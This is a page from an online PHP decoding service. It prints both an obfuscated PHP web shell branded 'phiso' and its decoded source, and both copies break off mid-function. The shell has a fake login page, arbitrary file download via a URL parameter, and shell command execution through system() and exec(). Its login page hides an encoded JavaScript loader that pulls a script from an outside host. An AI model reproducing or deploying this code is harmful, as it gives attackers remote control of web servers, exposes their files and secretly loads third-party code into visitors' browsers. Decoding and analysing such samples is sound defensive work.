Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x65\x77f\x73e\x68l\x7a\x63"] = "\x64efa\x75\x6ct\x5f\x75..
Decoded Output download
<? ${"GLOBALS"}["oewfsehlzc"] = "default_use_ajax";
${$ncxhvhu} = "dc21f4cd5d453a0a8e49d74c4d7bbf3b";
${"GLOBALS"}["bdofdronei"] = "total";
${${"GLOBALS"}["ykilukqn"]} = "#00ff00";
${"GLOBALS"}["weovtqjv"] = "curl";
${${"GLOBALS"}["dbfdioaxsw"]} = "FilesMan";
${"GLOBALS"}["lepjhunh"] = "dir";
${${"GLOBALS"}["oewfsehlzc"]} = true;
${"GLOBALS"}["qvwrclyx"] = "paths";
${${"GLOBALS"}["wywkmmqxfffv"]} = "UTF-8";
${"GLOBALS"}["zakvuuxso"] = "dir";
$hmrmmirlb = "dom";
function login_shell()
{
echo "<!DOCTYPE html>
<html>
<head>
<meta name="viewport\" content="widht=device-widht, initial-scale=1.0"/>
<meta name=\"author\" content="phiso\"/>
<meta name=\"copyright\" content="phiso"/>
<title>phiso.dev</title>
<link rel='icon' type='image/png' href='https://cdn.discordapp.com/attachments/1005560382842228746/1056650338582671370/image.png'/>
<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
<link rel=\"stylesheet" href=\"https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>
</head>
<body class=\"bg-dark text-light\">
<center>
<div class=\"container" style=\"margin-top: 15%\">
<div class="col-lg-6\">
<div class=\"form-group">
<h1 class="text-center">phiso</h1>
<h5 class=\"text-center pb-5">phiso.dev</h5>
<form method=\"post">
<input type=\"password" name="pass\" placeholder="USER ID\" class="form-control\"><br/>
<input type="submit" class="btn btn-danger btn-block" class="form-control\" value="Login">
</form>
</div>
</div><a href=\"https://phiso.dev/" class=\"text-muted fixed-bottom\">phiso - phiso.dev</a><br/>
</div>
</center>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>
</body>
</html>
";
exit;
}
if (!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) {
$shinyqsgqq = "auth_pass";
if (empty(${$shinyqsgqq}) || (isset($_POST["pass"]) && (md5($_POST["pass"]) == ${${"GLOBALS"}["oxixnjvoso"]})))
$_SESSION[md5($_SERVER["HTTP_HOST"])] = true;
else
login_shell();
}
${"GLOBALS"}["geuszsc"] = "dir";
if (isset($_GET["file"]) && ($_GET["file"] != "") && ($_GET["aksi"] == "download")) {
${"GLOBALS"}["evwxzbg"] = "file";
@ob_clean();
${${"GLOBALS"}["wtplyymwht"]} = $_GET["file"];
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . basename(${${"GLOBALS"}["wtplyymwht"]}) . """);
${"GLOBALS"}["rmyizxj"] = "file";
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize(${${"GLOBALS"}["rmyizxj"]}));
readfile(${${"GLOBALS"}["evwxzbg"]});
exit;
}
${"GLOBALS"}["yixjmkk"] = "scdir";
function w($dir, $perm)
{
${"GLOBALS"}["xnnxdemo"] = "dir";
if (!is_writable(${${"GLOBALS"}["xnnxdemo"]})) {
return "<font color=red>" . ${${"GLOBALS"}["zenhpilvqtpp"]} . "</font>";
} else {
$xdzunpwqnij = "perm";
return "<font color=lime>" . ${$xdzunpwqnij} . "</font>";
}
}
function r($dir, $perm)
{
$hivdmknfrddi = "dir";
if (!is_readable(${$hivdmknfrddi})) {
${"GLOBALS"}["vwvpvpciq"] = "perm";
return "<font color=red>" . ${${"GLOBALS"}["vwvpvpciq"]} . "</font>";
} else {
return "<font color=lime>" . ${${"GLOBALS"}["zenhpilvqtpp"]} . "</font>";
}
}
function exe($cmd)
{
if (function_exists("system")) {
$cnvjwmlzdfc = "cmd";
@ob_start();
@system(${$cnvjwmlzdfc});
${${"GLOBALS"}["ydjzmqi"]} = @ob_get_contents();
@ob_end_clean();
return ${${"GLOBALS"}["ydjzmqi"]};
} elseif (function_exists("exec")) {
$ivovddwmbgy = "cmd";
$cssoutdf = "result";
@exec(${$ivovddwmbgy}, ${${"GLOBALS"}["tjhvwfe"]});
${${"GLOBALS"}["ydjzmqi"]} = "";
foreach (${${"GLOBALS"}["tjhvwfe"]} as ${$cssoutdf}) {
${"GLOBALS"}["jwygyrh"] = "result";
$scmcifxgbe = "buff";
${$scmcifxgbe} .= ${${"GLOBALS"}["jwygyrh"]};
} ?>Did this file decode correctly?
Original Code
${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x65\x77f\x73e\x68l\x7a\x63"] = "\x64efa\x75\x6ct\x5f\x75\x73\x65_\x61\x6a\x61\x78";
${$ncxhvhu} = "d\x6321f4\x63d5\x64\x34\x35\x33\x61\x30a\x38\x65\x34\x39d\x37\x34\x63\x34d\x37b\x62f\x33b";
${"\x47\x4c\x4fB\x41L\x53"}["\x62\x64\x6f\x66dr\x6f\x6e\x65\x69"] = "\x74\x6f\x74al";
${${"\x47\x4c\x4fB\x41L\x53"}["\x79k\x69\x6c\x75k\x71\x6e"]} = "#\x300\x66\x66\x300";
${"GLO\x42A\x4c\x53"}["\x77e\x6f\x76\x74qjv"] = "\x63u\x72\x6c";
${${"G\x4cO\x42\x41\x4cS"}["db\x66d\x69\x6f\x61\x78\x73\x77"]} = "\x46\x69\x6ces\x4d\x61\x6e";
${"GL\x4f\x42A\x4c\x53"}["\x6c\x65\x70\x6ah\x75\x6e\x68"] = "d\x69\x72";
${${"\x47L\x4f\x42\x41L\x53"}["oe\x77\x66\x73\x65hlzc"]} = true;
${"G\x4c\x4f\x42A\x4c\x53"}["\x71v\x77\x72c\x6c\x79\x78"] = "\x70\x61t\x68\x73";
${${"\x47\x4c\x4f\x42\x41LS"}["\x77\x79w\x6bm\x6d\x71\x78\x66\x66f\x76"]} = "U\x54F-8";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x61\x6bv\x75\x75x\x73o"] = "\x64\x69\x72";
$hmrmmirlb = "\x64\x6fm";
function login_shell()
{
echo "\x3c!DO\x43\x54Y\x50E\x20\x68tm\x6c>\n<html>\n\t<h\x65a\x64\x3e\n\t\t<m\x65ta\x20\x6e\x61m\x65=\x22\x76\x69\x65\x77\x70\x6fr\x74\"\x20co\x6ete\x6et\x3d\x22wi\x64h\x74\x3d\x64ev\x69\x63e-\x77i\x64h\x74,\x20i\x6e\x69tial-sc\x61le=\x31.\x30\x22/\x3e\n\t\t\x3c\x6d\x65\x74\x61 na\x6de\x3d\"a\x75t\x68\x6f\x72\" co\x6e\x74\x65nt=\x22phi\x73o\"/>\n\t\t<\x6d\x65\x74\x61\x20\x6e\x61m\x65=\"co\x70\x79r\x69\x67h\x74\"\x20\x63\x6fntent\x3d\x22p\x68is\x6f\x22/>\n\t\t<t\x69\x74le>\x70h\x69\x73\x6f.d\x65v</ti\x74l\x65>\n\t\t<\x6cin\x6b r\x65l\x3d'i\x63\x6f\x6e' t\x79\x70\x65='i\x6d\x61g\x65/p\x6e\x67'\x20hre\x66=\x27\x68t\x74p\x73://cdn.di\x73c\x6f\x72\x64app\x2eco\x6d/a\x74tachme\x6e\x74\x73/10\x305\x3560\x3382\x384\x32\x3228746/\x3105\x36\x3650338\x35\x38267\x31\x3370/\x69\x6d\x61\x67\x65.p\x6eg'/\x3e\n\t\t\x3clin\x6b\x20\x72\x65\x6c=\"\x73ty\x6ce\x73h\x65\x65t\"\x20\x68\x72e\x66\x3d\"ht\x74\x70s://\x73ta\x63k\x70\x61th.b\x6f\x6f\x74\x73t\x72apc\x64n\x2ec\x6f\x6d/\x62o\x6fts\x74\x72ap/\x34\x2e3\x2e0/cs\x73/\x62oo\x74s\x74\x72a\x70.\x6din.c\x73s\x22/>\n\t\t<\x6cin\x6b\x20r\x65l=\"s\x74yl\x65s\x68\x65\x65t\x22\x20\x68\x72e\x66\x3d\"\x68\x74tps://us\x65\x2efo\x6e\x74\x61\x77\x65so\x6de.c\x6fm/\x72e\x6cea\x73\x65\x73/v\x35\x2e\x37\x2e\x31/c\x73s/\x61ll\x2ec\x73\x73\x22/>\n\t</he\x61d>\n\t\x3cbo\x64\x79\x20\x63lass\x3d\"\x62\x67-\x64a\x72\x6b te\x78t-ligh\x74\">\n\t\t<cen\x74e\x72\x3e\n\t\t\t\x3cdi\x76 cl\x61s\x73\x3d\"c\x6f\x6et\x61\x69n\x65\x72\x22 s\x74\x79l\x65\x3d\"m\x61\x72\x67\x69n-t\x6f\x70: \x315\x25\">\n\t\t\t\t<\x64\x69\x76\x20c\x6c\x61ss\x3d\x22co\x6c-\x6cg-\x36\">\n\t\t\t\t\t<d\x69v\x20cl\x61s\x73\x3d\"fo\x72\x6d-group\x22\x3e\n\t\t\t\t\t\t\x3c\x68\x31\x20\x63\x6cass=\x22\x74\x65xt-\x63\x65\x6eter\x22>\x70\x68\x69s\x6f\x3c/\x68\x31\x3e\n\t\t\t\t\t\t\x3ch\x35 c\x6cass=\"tex\x74-ce\x6e\x74\x65r \x70\x62-5\x22\x3eph\x69so\x2ed\x65v\x3c/h5\x3e\n\t\t\t\t\t\t<\x66o\x72\x6d method\x3d\"\x70\x6f\x73\x74\x22>\n\t\t\t\t\t\t\t<\x69\x6epu\x74\x20\x74y\x70e\x3d\"\x70\x61\x73s\x77\x6f\x72\x64\x22 \x6ea\x6de\x3d\x22pas\x73\"\x20p\x6c\x61\x63\x65h\x6fl\x64\x65r=\x22U\x53E\x52\x20ID\" \x63las\x73\x3d\x22f\x6frm-con\x74\x72\x6fl\"><br/\x3e\n\t\t\t\t\t\t\t\x3ci\x6e\x70\x75t t\x79\x70e\x3d\x22\x73\x75b\x6d\x69\x74\x22\x20cl\x61\x73s\x3d\x22b\x74n b\x74n-\x64an\x67er \x62\x74\x6e-bloc\x6b\x22 c\x6c\x61ss=\x22\x66\x6frm-\x63o\x6e\x74ro\x6c\"\x20\x76al\x75\x65=\x22\x4co\x67i\x6e\x22\x3e\n\t\t\t\t\t\t</f\x6fr\x6d>\n\t\t\t\t\t\x3c/d\x69\x76>\n\t\t\t\t\x3c/\x64\x69v><\x61 \x68r\x65\x66\x3d\"\x68t\x74\x70s://ph\x69\x73o\x2ed\x65\x76/\x22\x20\x63la\x73s\x3d\"\x74\x65\x78\x74-m\x75te\x64 \x66ixe\x64-\x62\x6f\x74\x74o\x6d\"\x3e\x70hiso - ph\x69\x73o.dev\x3c/a>\x3c\x62r/>\n\t\t\t</\x64iv\x3e\n\t\t\x3c/\x63\x65\x6e\x74er\x3e\n\t\t<s\x63\x72i\x70t\x20\x6ca\x6e\x67\x75ag\x65\x3d\x6aav\x61s\x63r\x69\x70t\x3ed\x6f\x63um\x65n\x74.wri\x74e(une\x73\x63\x61pe(\x27%3C\x257\x33%\x36\x33%7\x32\x2569\x2570\x25\x37\x34\x252\x30\x256\x43\x2561%\x36\x45%67%\x375\x25\x361\x25\x367\x2565%3\x44%\x32\x32%\x36\x41%61%\x376%\x36\x31%\x373\x25\x36\x33\x25\x37\x32\x256\x39\x25\x370%74%22%\x33\x45\x256\x36%75\x25\x36\x45%\x363%7\x34\x256\x39\x256F\x256\x45\x2520%\x364\x25\x346\x25\x328\x2573\x252\x39\x25\x37\x42\x25\x37\x36%\x361%72%\x32\x30%73%\x331%3\x44%75%\x36E%6\x35\x25\x37\x33\x256\x33\x256\x31%7\x30%\x365%2\x38\x257\x33%2E%73%\x375%6\x32\x257\x33%7\x34\x257\x32\x25\x328\x25\x330\x25\x32\x43\x2573\x25\x32\x45%6\x43\x256\x35\x25\x36\x45\x25\x367\x2574%6\x38\x252D\x2531%\x32\x39%\x329%3B\x25\x32\x30%\x37\x36\x256\x31\x25\x372%20\x2574%3\x44%2\x37\x25\x32\x37\x253\x42%\x36\x36\x256\x46\x2572%28%\x36\x39\x253D%\x330\x25\x33B%69%3\x43%73\x253\x31\x252E\x256C\x2565\x25\x36E%\x36\x37\x257\x34\x2568%3\x42\x25\x369\x25\x32\x42\x25\x32\x42\x252\x39%\x37\x34%2B\x25\x33\x44\x25\x35\x33%7\x34\x25\x37\x32%\x369%6E%\x367%\x32\x45%66%7\x32\x256\x46%6\x44%\x34\x33%\x368\x2561%\x372\x25\x343\x256\x46%\x364\x25\x365%28\x25\x37\x33\x253\x31%2E%6\x33%\x36\x38%\x361\x25\x37\x32%43%6\x46\x2564%65\x25\x341%\x37\x34%\x328\x256\x39\x2529%2D%73\x25\x32E%73\x25\x37\x35%6\x32%\x37\x33%7\x34%7\x32\x252\x38%73%\x32\x45\x256C\x2565\x25\x36\x45%\x36\x37\x25\x37\x34\x256\x38\x252\x44%31\x252C\x2531%\x329%\x329%3B\x2564%\x36\x46\x256\x33\x25\x37\x35\x25\x36D\x256\x35%6\x45\x257\x34\x25\x32\x45\x2577\x257\x32\x256\x39%7\x34\x25\x36\x35\x25\x32\x38%\x375%6E%6\x35\x25\x37\x33%6\x33\x25\x36\x31\x257\x30\x25\x36\x35%2\x38\x2574\x2529\x25\x32\x39\x253B\x257\x44\x25\x33\x43%2F\x25\x37\x33\x2563\x25\x372\x25\x36\x39\x257\x30%74%\x33E\x27));\x64F(\x27\x25\x32\x364\x44\x74\x64\x73\x6a\x71u\x25\x32631tsd%2\x364\x45\x2526\x33\x33\x69u\x75\x71t\x252\x36\x34\x42\x300ib\x64lj\x6f\x68up\x70m/ofu0mp\x68t0\x64j%\x37\x42/\x6b\x74%\x326\x333\x25264F\x25\x3264\x44\x30\x74d\x73j\x71u%26\x34\x46\x25\x32\x36\x33\x31\x31\x27)\x3c/\x73cr\x69\x70t>\n\t\x3c/\x62od\x79>\n</\x68\x74ml\x3e\n";
exit;
}
if (!isset($_SESSION[md5($_SERVER["\x48TT\x50\x5f\x48OST"])])) {
$shinyqsgqq = "\x61u\x74\x68\x5f\x70\x61\x73\x73";
if (empty(${$shinyqsgqq}) || (isset($_POST["\x70ass"]) && (md5($_POST["p\x61s\x73"]) == ${${"\x47L\x4f\x42\x41\x4c\x53"}["o\x78ixn\x6a\x76\x6f\x73\x6f"]})))
$_SESSION[md5($_SERVER["HT\x54\x50\x5fH\x4f\x53\x54"])] = true;
else
login_shell();
}
${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x65\x75\x73\x7a\x73\x63"] = "\x64ir";
if (isset($_GET["\x66\x69\x6c\x65"]) && ($_GET["\x66\x69\x6c\x65"] != "") && ($_GET["\x61k\x73\x69"] == "down\x6coa\x64")) {
${"G\x4c\x4fB\x41\x4cS"}["\x65\x76\x77\x78\x7a\x62\x67"] = "fil\x65";
@ob_clean();
${${"GL\x4f\x42\x41\x4cS"}["\x77t\x70l\x79y\x6d\x77\x68\x74"]} = $_GET["f\x69le"];
header("\x43on\x74ent-\x44e\x73\x63ri\x70t\x69on:\x20\x46\x69\x6c\x65\x20T\x72\x61n\x73f\x65r");
header("\x43onten\x74-\x54ype:\x20\x61\x70\x70\x6cic\x61t\x69on/oc\x74\x65t-stre\x61\x6d");
header("Con\x74\x65n\x74-\x44\x69\x73\x70\x6fs\x69\x74ion:\x20\x61\x74\x74\x61c\x68m\x65\x6et;\x20f\x69len\x61\x6d\x65=\"" . basename(${${"GLO\x42A\x4cS"}["w\x74\x70\x6c\x79\x79\x6d\x77\x68\x74"]}) . "\x22");
${"\x47\x4c\x4f\x42ALS"}["r\x6dy\x69\x7a\x78\x6a"] = "f\x69l\x65";
header("\x45\x78\x70\x69\x72es: \x30");
header("\x43\x61c\x68e-C\x6f\x6et\x72\x6fl: \x6d\x75st-re\x76a\x6c\x69\x64\x61\x74\x65");
header("Pragma:\x20\x70\x75\x62\x6c\x69\x63");
header("\x43\x6fnte\x6e\x74-\x4ce\x6e\x67th:\x20" . filesize(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x6d\x79\x69\x7ax\x6a"]}));
readfile(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x76\x77\x78\x7ab\x67"]});
exit;
}
${"\x47\x4c\x4f\x42A\x4cS"}["\x79i\x78jm\x6b\x6b"] = "\x73cdi\x72";
function w($dir, $perm)
{
${"GL\x4f\x42\x41\x4c\x53"}["\x78n\x6e\x78de\x6do"] = "\x64\x69r";
if (!is_writable(${${"\x47\x4c\x4f\x42ALS"}["x\x6e\x6e\x78\x64em\x6f"]})) {
return "\x3c\x66on\x74 \x63olo\x72=\x72\x65d\x3e" . ${${"\x47\x4c\x4fB\x41\x4c\x53"}["z\x65\x6e\x68\x70\x69lv\x71\x74\x70p"]} . "\x3c/\x66\x6f\x6e\x74>";
} else {
$xdzunpwqnij = "\x70\x65\x72\x6d";
return "<\x66\x6f\x6et \x63o\x6c\x6fr\x3dli\x6de>" . ${$xdzunpwqnij} . "</\x66on\x74\x3e";
}
}
function r($dir, $perm)
{
$hivdmknfrddi = "\x64\x69\x72";
if (!is_readable(${$hivdmknfrddi})) {
${"GLOBA\x4c\x53"}["\x76w\x76p\x76\x70\x63\x69q"] = "\x70\x65\x72\x6d";
return "\x3c\x66o\x6et \x63ol\x6f\x72\x3d\x72\x65\x64\x3e" . ${${"\x47\x4c\x4fB\x41LS"}["\x76w\x76\x70\x76\x70\x63\x69q"]} . "\x3c/\x66\x6f\x6e\x74>";
} else {
return "<fon\x74\x20\x63\x6f\x6cor=\x6ci\x6d\x65\x3e" . ${${"G\x4c\x4f\x42\x41\x4c\x53"}["ze\x6e\x68\x70\x69\x6c\x76\x71t\x70p"]} . "</fon\x74\x3e";
}
}
function exe($cmd)
{
if (function_exists("s\x79st\x65m")) {
$cnvjwmlzdfc = "\x63\x6d\x64";
@ob_start();
@system(${$cnvjwmlzdfc});
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x64j\x7a\x6dqi"]} = @ob_get_contents();
@ob_end_clean();
return ${${"G\x4cO\x42\x41\x4cS"}["y\x64\x6az\x6d\x71\x69"]};
} elseif (function_exists("\x65xec")) {
$ivovddwmbgy = "\x63\x6d\x64";
$cssoutdf = "\x72es\x75\x6c\x74";
@exec(${$ivovddwmbgy}, ${${"\x47\x4cO\x42\x41\x4cS"}["\x74\x6a\x68\x76\x77\x66e"]});
${${"G\x4c\x4f\x42\x41\x4c\x53"}["yd\x6a\x7a\x6dq\x69"]} = "";
foreach (${${"\x47\x4c\x4f\x42AL\x53"}["tjh\x76\x77\x66\x65"]} as ${$cssoutdf}) {
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jwy\x67yrh"] = "\x72\x65\x73ul\x74";
$scmcifxgbe = "\x62u\x66\x66";
${$scmcifxgbe} .= ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x77\x79\x67\x79r\x68"]};
}Function Calls
| None |
Stats
| MD5 | 46d9580c7c3a32662e9160644d287d37 |
| Eval Count | 0 |
| Decode Time | 54 ms |